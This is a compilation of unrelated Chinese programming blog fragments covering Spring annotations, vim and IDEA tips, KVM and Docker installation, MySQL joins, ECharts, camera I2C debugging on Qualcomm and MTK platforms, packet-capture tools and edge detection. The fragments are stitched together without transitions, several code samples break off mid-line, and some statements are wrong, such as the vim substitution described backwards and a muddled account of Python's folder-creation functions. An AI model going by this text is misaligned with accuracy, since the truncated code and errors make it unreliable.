前言 在跟写springboot项目时发现的问题:如下图,大概率是由于该类未加上spring注解,故没有被注入到spring中,一个很常见的新手小白会遇到的问题。
一、Spring常用注解 @Repository /@Mapper:数据访问层(dao层)@Service :业务逻辑层(service层)@Controller :控制层(controller层) 注(后端框架):
二、解决方法 在类上加上对应的spring注解
返回查看问题已解决( ͡• ͜ʖ ͡• )
三、其他可参考解决方案 如果想要暂时的去掉这个问题的error报错,不想因为这个问题影响代码的运行
方案一:可以在IDEA设置里将该问题改成warning后,该问题被只会警告提示,不会影响运行
方案二:给 @Autowired加上一个(required = false),表示我暂时不需要处理这个问题,报错也会消失
解决IDEA注释顶格问题
目录
前言
一、解决方法
二、使用步骤
1.在设置里找到代码注释的设置(以HTML代码中代码注释为例)
2.取消勾选
结果展示
前言 新手小白常遇到的问题:使用Ctrl+/快捷键进行单行注释时,会默认顶格注释,如下图
理想的注释:
一、解决方法 在设置里取消代码注释时的顶格设置
二、使用步骤 1.在设置里找到代码注释的设置(以HTML代码中代码注释为例) 上图可以看到代码注释的两项默认是勾选的
2.取消勾选 取消勾选,再点击Apply应用即可
结果展示 再使用注释快捷键Ctrl+/时,就不会顶格注释啦
vim批量操作技巧 目录 vim批量操作技巧一、列操作二、批量复制与删除三、批量替换四、批量注释 一、列操作 删除列
在正常模式下(一般按Esc键就是)——光标定位——CTRL+v 进入“VISUAL BLOCK”可视块模式,选取这一列操作多少行——按键盘d 删除。
插入列
例如我们在每一行前都插入注释"// ":
在正常模式下(一般按Esc键就是)——光标定位到要操作的地方——CTRL+v 进入“VISUAL BLOCK”模式,选取这一列操作多少行——SHIFT+i(I) 输入要插入的内容如"//"——ESC 按两次,会在每行的选定的区域出现插入的内容。
二、批量复制与删除 在正常模式下(一般按Esc键就是),CTRL+v,进入列块模式,选中需要复制的内容
键盘“y” 复制内容,4line yanked 说明复制了四行
然后移动光标到行首,“p”在光标的后面一列输入内容,按“P”在光标前面一列输入内容;大小p的区别是黏贴内容的区域是所选择光标的前面还是后面一列;
dd 删除游标所在的那一整行
ndd n 为数字。删除光标所在的行向下n行,例如 10dd 则是删除 10行
gg 移动到行首
12G 跳转到文件的第12行
h, j, k, l 左下上右
CTRL-B,CTRL-F 翻页,等同于PageUp和PageDown。加上数字,表示向上或向下翻多少页
yy 复制游标所在那一行
y1G 复制光标所在列到第一列所有数据
yG 复制光标所在列到最后一列癿所有数据
y0 复制光标所在那个字符到该行行首所有数据
y$ 复制光标所在那个字符到该行行尾所有数据
u 复原前一个动作
三、批量替换 命令模式下:%s/old/new/g,用old替换new,替换文件的整个匹配
:10,20s/^/ /g,10行到20行前面加空格,用于缩进 :/text,查找text,n查找下一个,N查找前一个 :?text,反向查找text,n查找下一个,N查找前一个 :split file或者new file用新窗口打开文件, :vsplit纵向打开窗口,Ctrl+ww移动到下一个 窗口 四、批量注释 makefile,perl等中注释用#,.v等注释用//类似。
:3,5s/^/#/g 注释3~5行
最近在写使用shutil复制文件的代码,需要判断文件夹是否存在,若不存在自动创建,但是创建文件夹后,再复制总失败,显示如下权限错误: 打开新建的文件夹发现默认给我设成只读的了
而且我本来是要复制图片文件,结果默认给我生成的是文件夹
后来才意识到,我创建文件夹用的是os.makedir(),该方法是创建多层文件夹方法,我一复制文件默认给我向下创建文件夹了,而且还是只读的,应该使用os.mkdir()方法创建单层文件夹,完整代码如下:
in_path = imgpath+'/'+i # 复制文件目标路径 copy_path = 'F:/copypath/'+name.split('.')[0]+'/'+i # 判断文件夹是否存在,不存在创建 if not os.path.exists(copy_path): os.mkdir(copy_path) print(copy_path) print('正在复制') shutil.copyfile(in_path, copy_path) print('复制完成')
Ubuntu20.4系统下安装kvm并创建虚拟机 一.安装Ubuntu20.4系统二.在Ubuntu20.4系统下安装KVM三.kvm虚拟机及其磁盘映像文件(CentOS 7.9)制作 一.安装Ubuntu20.4系统 安装Ubuntu系统
二.在Ubuntu20.4系统下安装KVM (以下的命令都是root命令,如果不是请切换至root,或者每个命令前加$ sudo),比如:# apt install bridge-utils(root账号) $sudo apt install bridge-utils(普通账号)
①:su root 切换到root账号下,如果不行,看②
②:sudo passwd root 输入密码并确定密码,然后执行①
1.安装环境可行性检测
① 验证CPU是否支持硬件虚拟化
# grep -Eoc '(vmx|svm)' /proc/cpuinfo //数字大于0,则代表CPU支持硬件虚拟化,反之则不支持 ② 检查 VT 是否在 BIOS 中启用
# apt install cpu-checker //检查 VT 是否在 BIOS 中启用 # kvm-ok //如果处理器虚拟化能力没有在 BIOS 中被禁用,命令将会打印出,否则,这个命令将会打印一个失败信息,和打印的消息 INFO: /dev/kvm exists KVM acceleration can be used 2.在 Ubuntu 20.04 上安装 KVM
① 安装KVM
# apt install -y qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-manager # systemctl is-active libvirtd ② 是否安装成功
一 提取对应类别的图片和标注文件 import os import xml.etree.ElementTree as ET import shutil # Path # 源数据集的位置 ann_filepath = '/data/VOCdevkit/VOC2007/Annotations/' img_filepath = '/data/VOCdevkit/VOC2007/JPEGImages/' # 新建保存数据集的位置 img_savepath = 'data/VOCdevkit/VOC2007_1/JPEGImages/' ann_savepath = 'data/VOCdevkit/VOC2007_1/Annotations/' if not os.path.exists(img_savepath): os.mkdir(img_savepath) if not os.path.exists(ann_savepath): os.mkdir(ann_savepath) # VOC class information # 需要的标签 classes = ['aeroplane', 'bicycle', 'bird', 'boat', 'bottle', 'bus', 'car', 'cat', 'chair', 'cow', 'diningtable', 'dog', 'horse', 'motorbike', 'pottedplant',] # The classes needed # classes = ['sheep', 'sofa', 'train', 'person','tvmonitor'] def save_annotation(file): tree = ET.
一、问题的产生 不知道大家用micropython玩SSD1306时,有没有留意到下面一行警告:
Warning: I2C(-1, ...) is deprecated, use SoftI2C(...) instead
大概意思就是你在使用I2C总线,提示你应该用SoftI2C类比较好。
我们知道硬件I2C和软件I2C的区别在于,软件I2C是通过软件编程使CPU拉高拉低SDA和SCL引脚,模拟出I2C总线的;而硬件I2C则是使用ESP32内部的I2C硬件驱动器实现总线的读写。
很明显的,硬件I2C比软件I2C更加节约CPU资源,因为CPU不用去频繁操作SDA和SCL引脚了。如果你操作屏幕频繁,硬件I2C将是你最佳的选择。
ESP32明明就有硬件I2C总线,为什么会出现这个提示呢?
二、解决方案 1.现有的驱动版本 问题的根源肯定在SSD1306的驱动上面。网上传的最多的SSD1306的micropython驱动版本应该是这个:
# MicroPython SSD1306 OLED driver, I2C and SPI interfaces from micropython import const import time import framebuf import sys currentBoard="" if(sys.platform=="esp8266"): currentBoard="esp8266" elif(sys.platform=="esp32"): currentBoard="esp32" elif(sys.platform=="pyboard"): currentBoard="pyboard" import pyb # register definitions SET_CONTRAST = const(0x81) SET_ENTIRE_ON = const(0xa4) SET_NORM_INV = const(0xa6) SET_DISP = const(0xae) SET_MEM_ADDR = const(0x20) SET_COL_ADDR = const(0x21) SET_PAGE_ADDR = const(0x22) SET_DISP_START_LINE = const(0x40) SET_SEG_REMAP = const(0xa0) SET_MUX_RATIO = const(0xa8) SET_COM_OUT_DIR = const(0xc0) SET_DISP_OFFSET = const(0xd3) SET_COM_PIN_CFG = const(0xda) SET_DISP_CLK_DIV = const(0xd5) SET_PRECHARGE = const(0xd9) SET_VCOM_DESEL = const(0xdb) SET_CHARGE_PUMP = const(0x8d) class SSD1306: def __init__(self, width, height, external_vcc): self.
时间限制:C/C++ 1000MS,其他语言 2000MS
内存限制:C/C++ 256MB,其他语言 512MB
难度:简单
分数:100 OI排行榜得分:10(0.1*分数+2*难度)
出题人:田亮(homo,天天114514)
描述
《庄子》中说到,“一尺之棰,日取其半,万世不竭”。第一天有一根长度为 a 的木棍,从第二天开始,每天都要将这根木棍锯掉一半(每次除 2,向下取整)。第几天的时候木棍的长度会变为 1?
输入描述
输入一个正整数 a,表示木棍长度。 a <= 105。
输出描述
输出一个正整数,表示要第几天的时候木棍长度会变为 1。
用例输入 1 100
用例输出 1 7
代码语言:C++ 老罗AC代码
#include<iostream> using namespace std; int main() { short n = 1,a; cin >> a; while (a > 1) { n++; a /= 2; } cout<<n; return 0; } 刷好题,刷排名,刷题好,多刷题
最后,老罗祝你每次刷的题都是AC
文章目录 大小模型复杂度推理时间 大小 直接看文件大小
模型复杂度 mmcls:
可参考:
https://mmclassification.readthedocs.io/zh_CN/latest/tools/analysis.html
python tools/analysis_tools/get_flops.py ${CONFIG_FILE} [--shape ${INPUT_SHAPE}] 单张图像的推理
或者直接在demo/image_demo.py中用profile(通用)
pip install thop
from thop import profile input = torch.randn(1, 3, 64, 64).to(device) # 放进和model相同的GPU中 flops, params = profile(model, inputs=(input,), verbose=True) print("%s ------- params: %.2fMB ------- flops: %.2fG" % (model, params / (1000 ** 2), flops / (1000 ** 3))) # 这里除以1000的平方,是为了化成M的单位 注意:用thop是GMACs, GFLOPs可能需要GMACs乘以2。
推理时间 torch.cuda.synchronize() start = time.time() result = model(input) torch.cuda.synchronize() end = time.
目录
一、MySQL多表查询
二、准备工作
1.运行环境
2.创建公司表
3.创建员工表
三、多表查询
(一)多表联查—同时查询多张表
1.联结
2.左连接
3.右连接
4.内连接
(二)子查询
1.SELECT子查询
2.WHERE子查询
3.FROM子查询
总结
一、MySQL多表查询 MySQL语句学习的难点和重点就在于多表查询,同时MySQL也有诸多方法供大家选择,不论是多表联查(联结表、左连接、右连接……)还是子查询(SELECT子查询、WHERE子查询、FROM子查询),掌握一种方法达到目的即可,当然其他方法也需要理解,本文将阐述完整的多表查询方法。
首先分享下学习链接,大家可以在看完本文后选择以下链接巩固学习成果,我相信如果都给掌握的话,MySQL语句中80%的问题都将迎刃而解!!
视频学习链接:SQL学习之道_哔哩哔哩_bilibili
在线编程链接:SQL必知必会__牛客在线编程
二、准备工作 1.运行环境 本文在MySQL在线运行网址操作,模拟MySQL运行,若大家有条件也可在MySQL或navicat中操作运行
2.创建公司表 以下是创建数据表、新增数据等基础操作,这些语句都是固定的,这是创建的第一个表(company表),id为主键。
#创建数据库,可忽略,一般用不到 CREATE DATABASE test; use test; #创建数据表company CREATE TABLE company ( id INT PRIMARY KEY, name VARCHAR(255) NOT NULL ); #新增数据 INSERT INTO company VALUES(1,'IBM'); INSERT INTO company VALUES(2,'HP'); #单表查询数据 SELECT * FROM company; 运行结果:
3.创建员工表 创建第二个表(menber表),增删改查基础操作都在下边了,希望能帮助大家加深对于基础操作的理解,id为主键。
#创建数据表menber CREATE TABLE menber( id INT PRIMARY KEY, name VARCHAR(255) NOT NULL, sal DOUBLE(10,2), comid INT ); #新增数据 INSERT INTO menber VALUES(101,'小李',3000,1); INSERT INTO menber VALUES(102,'小王',4000,1); INSERT INTO menber VALUES(103,'小刘',5000,2); INSERT INTO menber VALUES(104,'小孙',5000,2); INSERT INTO menber VALUES(105,'小明',7000,3); #删除数据 DELETE FROM menber WHERE comid = 3; #修改数据 UPDATE menber SET sal=6000 WHERE id=104; #单表查询数据 SELECT * FROM menber; 运行结果:
本系列专栏是分享使用 Echarts 来绘制图表的应用,它结合了实际的业务需求来实现的。
专栏内容 这一系列专栏分享内容将包含以下:
1.如何绘制现价图+均价图
2.如何绘制成交量图
3.如何完全绘制出分时图
4.如何在分时图的基础上绘制出五日图
5.如何在图例的基础上绘制出更符合用户体验的K线图
6.如何进行多图表的结合
7.如何解决图表的横向滚动和展示提示框的冲突
8.如何实现具有特色功能算法的K线图
9.如何制作分时训练的分时图游戏
10.如何制作K线训练的K线图游戏
效果图 分时图 五日图 K线图 K线训练游戏 Apache ECharts 安装 NPM 安装 ECharts
npm install echarts --save 在Vue3项目中使用Echarts npm install echarts vue-echarts 引入 如果你实在需要全量引入 ECharts 从而无需手动引入模块,可添加如下代码:
import "echarts"; 引入单个图表和组件,则如下面示例引入ECharts :
<template> <v-chart class="chart" :option="option" /> </template> <script> import { use } from 'echarts/core'; import { CanvasRenderer } from 'echarts/renderers'; import { PieChart } from 'echarts/charts'; import { TitleComponent, TooltipComponent, LegendComponent, } from 'echarts/components'; import VChart, { THEME_KEY } from 'vue-echarts'; import { ref, defineComponent } from 'vue'; use([ CanvasRenderer, PieChart, TitleComponent, TooltipComponent, LegendComponent, ]); export default defineComponent({ name: 'HelloWorld', components: { VChart, }, provide: { [THEME_KEY]: 'dark', }, setup() { const option = ref({ title: { text: 'Traffic Sources', left: 'center', }, tooltip: { trigger: 'item', formatter: '{a} <br/>{b} : {c} ({d}%)', }, legend: { orient: 'vertical', left: 'left', data: ['Direct', 'Email', 'Ad Networks', 'Video Ads', 'Search Engines'], }, series: [ { name: 'Traffic Sources', type: 'pie', radius: '55%', center: ['50%', '60%'], data: [ { value: 335, name: 'Direct' }, { value: 310, name: 'Email' }, { value: 234, name: 'Ad Networks' }, { value: 135, name: 'Video Ads' }, { value: 1548, name: 'Search Engines' }, ], emphasis: { itemStyle: { shadowBlur: 10, shadowOffsetX: 0, shadowColor: 'rgba(0, 0, 0, 0.
一.I2C地址不通 平台:高通 msm8909(wear2001)
最近遇到I2C地址不通问题,通信失败,导致摄像头无法点亮。
分析方法:
1.硬件层面
确认硬件是否有问题,我们遇到模组厂给的sensor,dvdd和avdd本身短路了,导致打不开。我们有遇到一开始能用,后来就突然用不了,开机有时候读得到id,有时候读不到id,开机启动后,即使开机读id没问题,启动时偶尔也读不到id,用手折弯fpc或者按压金手指的位置,预览界面就卡死,id也读不到,需要重新插拔才行。
原因:按压时fpc短路了,fpc有问题模组受压,有些机器,我们发现松一下螺丝,重新开关机I2C通信就正常了,和硬件确认,FPS或者某个地方受压了,导致I2C读不通,这个经验很重要。 2.软件层面
检查软件上电时许是否符合规格书[data sheet]的要求
检查i2c地址是否有冲突:比如2颗sensor的地址都为0x2c,这就有问题了。 二I2C地址读错总结 最近遇到一个比较奇葩的问题:
我们kernel层加了后摄的otp后,会出现某些机器概率性前摄ID读错问题,otp读出来的数据也全是0。
dtsi文件关于otp的修改
eeprom0: qcom,eeprom@5a { cell-index = <0>; reg = <0x5A>; qcom,eeprom-name = "sunwin_s5k4h7"; compatible = "qcom,eeprom"; qcom,slave-addr = <0x5A>; qcom,cci-master = <0>; qcom,num-blocks = <2>; qcom,page0 = <1 0x0A02 2 0x15 1 1>;/*set the page21 of otp*/ qcom,poll0 = <0 0x0 1 0x0 1 1>; qcom,mem0 = <0 0x0 1 0x0 1 1>; qcom,page1 = <1 0x0A00 2 0x0100 2 1>;/*OTP enable and read start*/ qcom,poll1 = <0 0x0 1 0x0 1 1>; qcom,mem1 = <60 0x0A04 2 0x0000 2 1>; cam_vio-supply = <&pm8916_l10>; cam_vaf-supply = <&pm8916_l11>; ··· } 报错log如下:
一、查询连续年的SQL语句 1、查询连接近20年的sql语句 SELECT tab."year" || '年' as text,tab."year" as code FROM (WITH RECURSIVE T ( n ) AS ( SELECT DATE( now( ) - INTERVAL '20 YEAR' ) UNION ALL SELECT n + 1 FROM T WHERE n < DATE ( now( ) ) ) SELECT to_char( n, 'yyyy' ) AS YEAR FROM T GROUP BY YEAR ORDER BY YEAR desc) tab 2、查询结果截图 二、查询某个时间段的周数 1、查询2021-01-01 00:00:00到2021-12-31 23:59:59的周数列表 SELECT tab.times as code,'第'||tab.
创建一个ts文件,出现这个报错。
解决方案 在 tsconfig.json 文件中将 isolatedModules 字段设置为 false。
但是官网建议设置成true
学习 隔离模块 -isolatedModules
不只ts可以转为js,使用其他转译器(如 Babel)来执行也可转换js。 但是,其他转译器一次只对一个文件进行操作,这意味着它们无法应用依赖于了解完整类型系统的代码转换。 此限制也适用于某些构建工具使用的 TypeScript 的 API。
这些限制可能会导致某些 TypeScript 功能出现运行时问题。 设置该标志会告诉 TypeScript 在您编写的某些代码无法通过单文件转译过程正确解释时发出警告。
它不会更改代码的行为,也不会更改 TypeScript 检查和发出过程的行为。
底层驱动读不到摄像头的ID,可以从以下几个方面做检查
首先检查硬件方面,多拿几个摄像头模组来做试验。因为会存在打样模组有问题的情况,在原理图上对清摄像头的各个脚是否都对应上了、模组是否都扣好等。这个是硬件层面上的。
第二检查I2C地址是否正确,如MTK平台的基本都是以7位地址的方式操作的。既是偏移一位的。最后是要看看模组的规格书,确认器件的I2C地址
第三就要看摄像头的上、下电时序这一块。如MTK平台的,它在这个文件里实现:mt6737_65_a_n_mp1\kernel-3.18\drivers\misc\mediatek\imgsensor\src\mt6735\camera_hw\kd_camera_hw.c。不同厂家的模组它的上下电时序是有所差别的,其实在你为系统添加摄像头的时候这个上下电时序就加进来了。上电时序也要参考模组规格书去写
如果以上的都检查完了,都没问题,那么开始检查CMMCLK,一般会有两路CMMCLK。前后摄像头各走一路,我们需要看一下前后摄分开走mclk的还是共用一路的。我们在kd_camera_hw.c这文件里的
kdCISModulePowerOn 和 else { /* power OFF */ 里,可以看到了有类似于如下的函数调用:
这里就是根据pinSetIdx来打开或关闭MCLK1 或者 MCLK2。需要注意两个点
mt6737_65_a_n_mp1\vendor\mediatek\proprietary\custom\mt6735\hal\D1\imgsensor_src\cfg_setting_imgsensor.cpp
。在这个文件里有个 MINT32 getSensorMclkConnection(EDevId const eDevId)
这个函数,要看看这里有没有被写成前后摄共用MCLK了。最好是用示波器去量过,确定它是有信号输出。
还有就是要用示波器量一下MIPI信号,看看主控有没有输入信号,以防万一。
如以上都检查完了,都没问题。但还是读ID失败的话,那我们就要看一下I2C的通道是否配置正确。因为主控一般都会有好几路I2C,完成了这6项的检查基本都会找到问题了,一定要配合抓串口log去调试、解决问题。
低温下Camera打开花屏或读不到id
问题模组:三星s5k4h7模组
模组厂:光阵
现象:低温-10°存储1个小时,开机后,第一次打开摄像头,多个模组出现花屏问题以及Camera读不到id问题,
花屏问题的机器,第二次或者第三次打开后就好了,
读不到id的机器,第二次重启系统,就正常了
现象截图
问题如下:
低温下Camera花屏问题,,针对低温花屏问题:第二次或者第三次打开后预览画面正常
低温下Caemra读不到id问题,,针对低温读不到id问题:第二次或者第三次打开,或者再次重启就好了
低温下有问题,正常温度下,没有这种现象,和硬件有关系。低温下供电不稳定,在不稳定的低温下,某些器件没法正常工作
排查方向
软件检查,对比软件最近是否有与相机相关的改动,回退旧版本进行验证
版本回退 看以前版本是否出现问题,增加实验数量,统计概率
验证发现,新旧版本出现问题比例差不多
去除Isc补偿
软件编译了一版去掉加载后摄OTP的程序,验证一台花屏的机器好了
固定绿屏问题,烧回工程样机程序没问题,与工程样机程序相比,批量程序增加了OTP LSC,临时编译一版关闭LSC程序验证绿屏问题消失
将关闭LSC的版本烧入低温花屏的机器,验证没问题,但是打不开摄像头的机器烧入该版本无效
取消后摄摄像头BTB上的泡棉验证,无效
由于打不开的是前摄,所以更换前摄验证,无效
时序检查,确认是否低温下时序发生变化
电源检查,确认是否低温下电源发生变化
总结
低温情况下,LDO工作不稳定,导致给DVDD的供电不足1.2V,因此造成花屏或者读不到ID问题
LDO即low dropout regulator,是一种低压差线性稳压器,我们用的是1.2V的LDO。
pm8916_s3提高在启动camera时,拉高到1.5v,(原先是1.4v),在低温下不稳定!拉高后,低温下的供电如下:
kernel/arch/arm/boot/dts/qcom/项目.dtsi
kernel/arch/arm/boot/dts/qcom/msm8916-regulator.dtsi
rpm_proc/core/systemdrivers/pmic/config/msm8909/pm8916
– {300, 0, PM_ACCESS_ALLOWED, PM_ALWAYS_ON, PM_NPA_SW_MODE_SMPS__NPM, PM_CLK_1p6_MHz, PM_CLK_1p6_MHz,
PM_DROOP_DETECT_DIS, 1250, 1413, 0, PM_SETTLING_ERR_DIS,
简介: KubeSphere是一个灵活的轻量级容器PaaS平台,通过了CNCF一致性认证,100%开源,由社区驱动与开发。KubeSphere可以部署并运行在任何基础架构以及所有版本兼容的Kubernetes集群之上,包括虚拟机、物理机、数据中心、公有云和混合云等。
官网地址: https://kubesphere.io/zh/
先安装Docker 1.在线安装Docker 第一步:安装一组工具
sudo yum install -y yum-utils 第二步:设置 yum 仓库地址
sudo yum-config-manager \ --add-repo \ https://download.docker.com/linux/centos/docker-ce.repo sudo yum-config-manager \ --add-repo \ http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo 第三步:更新 yum 缓存 #yum 是包管理器
sudo yum makecache fast 第四步:安装新版 docker
sudo yum install -y docker-ce docker-ce-cli containerd.io 第四步:安装成功以后,检查安装状态 指令:
docker info 第五不:设置Docker开机自启 systemctl enable docker Docker镜像加速 由于国内网络问题,需要配置加速器来加速。修改配置文件 /etc/docker/daemon.json
下面命令直接生成文件 daemon.json,直接在命令行执行即可
cat <<EOF > /etc/docker/daemon.json { "registry-mirrors": [ "https://docker.mirrors.ustc.edu.cn", "http://hub-mirror.c.163.com" ], "max-concurrent-downloads": 10, "
一、like like(R column, Object val) like(boolean condition, R column, Object val) LIKE '%值%'例: like("name", "王")--->name like '%王%' #二、notLike notLike(R column, Object val) notLike(boolean condition, R column, Object val) NOT LIKE '%值%'例: notLike("name", "王")--->name not like '%王%' 三、likeLeft likeLeft(R column, Object val) likeLeft(boolean condition, R column, Object val) LIKE '%值'例: likeLeft("name", "王")--->name like '%王' 四、likeRight
likeRight(R column, Object val) likeRight(boolean condition, R column, Object val) LIKE '值%'例: likeRight("name", "王")--->name like '王%'
一. 抓包工具的使用 1.抓包工具简介
Chrome/Firefox 开发者工具: 浏览器内置,方便易用
Fiddler/Charles: 基于代理的抓包,功能强大,可以手机抓包,模拟弱网,拦截请求,定制响应
Fiddler: 免费,只支持Win
Charles: 收费,支持Win/Linux/Mac
wireshark/tcpdumps:给予网卡层的抓包,数据量大,可以抓取tcp/udp等多种协议的数据包(需要做好过滤)
wireshark: 支持Win/Linux/Mac
tcpdumps: Linux抓包命令,功能强大,常用作服务端抓包
1.1.什么是代理
正向代理
正向代理与反向代理
正向代理中, 代理和客户端在一个局域网内,对服务器透明
反向代理中,代理和服务器在一个局域网内,对客户端透明
例如:使用代理访问Google属于正向代理,通过不同的域名通过Nginx向同一台服务器请求不同的网站属于反向代理
反向代理可以做负载均衡
反向代理接口测试一般要先绑定本地hosts
1.2.怎么手动添加代理
启动代理服务器,如开启Postman的代理服务(本机ip,默认端口5555)
Win设置->代理 -> 配置代理ip和域名
1.3.手机设置上网代理(手机抓包)
笔记本和手机使用同一wifi上网
笔记本上启动代理服务器,如开启Postman的代理服务(本机ip,默认端口5555)
手机上长按wifi->选择管理网络或高级->手动配置代理->配置代理ip和域名
1.4.绑定hosts(适用于反向代理)
Win:notepad C:\Windows\System32\drivers\etc\hosts
Linux:vim /etc/hosts(格式:ip 域名)
二.Chrome开发者工具 Elements: HTML元素面板,用于定位查看元素源代码;
Console: js控制台面板,js命令行,查看前端日志;
Sources: 资源面板,用于断点调试js;
Network: 请求信息面板,查看请求及响应信息;
Timeline: 时间线面板,记录网站生命周期内所发生的各类事件;
Profiles: 事件详情面板;
Application: 本地存储,Session存储等资源信息;
Secuity: 判断当前网页是否安全;
Audits: 网络性能诊断;
1.Network面板
Network面板
1.1.Console: 外观及功能控制
录制:记录或停止记录请求
清空:清空所有请求
抓取快照:按帧捕获屏幕事件
过滤: 请用关闭过滤功能
Roberts算子 采用对角线方向相邻两象素之差近似梯度幅值检测边缘,是一个 2x2 的模版,模板分为水平方向和垂直方向。
模板: 计算公式: 最终计算公式: 原理: [说明]边缘检测的对象只能是灰度图片
为什么这样的公式可以计算灰度图片的边缘呢?其实该公式利用的是物体边缘处存在的像素差。
例如,有下面一张图片:
图片中只有两个图形,我们用人眼一看就能感知到两个图像的边缘。那么,我们仔细想一下,我们为何能一眼就看出来了呢?其实很简单,因为图像里面的颜色和外面的颜色不一样,所以只需找到两种颜色的交界处就能找到它们对应的边缘了。
因此,我们只需让计算机寻找不同颜色的交界处便能找到物体的边缘。那么,怎么找到两种不同颜色的交界处呢?在回答这个问题之前,我们先看一下图形内部和外部的像素值是多少。
经检测发现,内部的像素值等于0,外部的像素值等于255。
那么,如何让计算机知道两种颜色的交界处,最好、直接的方法就是遍历整张图片,边遍历边检测相邻的像素值的差值,一旦相邻的像素之间的像素值的差值较大,说明它们之间的像素值有剧烈的变化,则可以认为此时处于边缘位置。
而本文要介绍的Roberts算法便是基于相邻像素值之差判断当前是否是边缘最简单的算法。
代码实现: import numpy as np import cv2 from matplotlib import pyplot as plt def robert(img): r, c = img.shape new_image = np.zeros((r, c)) new_imageX = np.zeros((r, c)) new_imageY = np.zeros((r, c)) dx = [[-1,0],[0,1]] dy = [[0,-1],[1,0]] for i in range(r): for j in range(c): if (j+2<=c) and (i+2<=r): new_imageX[i,j] = (np.sum(img[i:i+2, j:j+2] * dx))**2 new_imageY[i,j] = (np.
mework.boot.SpringApplication - Application run failed
java.lang.NoSuchMethodError: 'boolean java.util.stream.MatchOps$2MatchSink._jr$ig$stop(java.lang.Object)'
1.改成UTF-8的格式 application.yml文件格式错误,编辑的时候一般都是jdk格式得改成UTF-8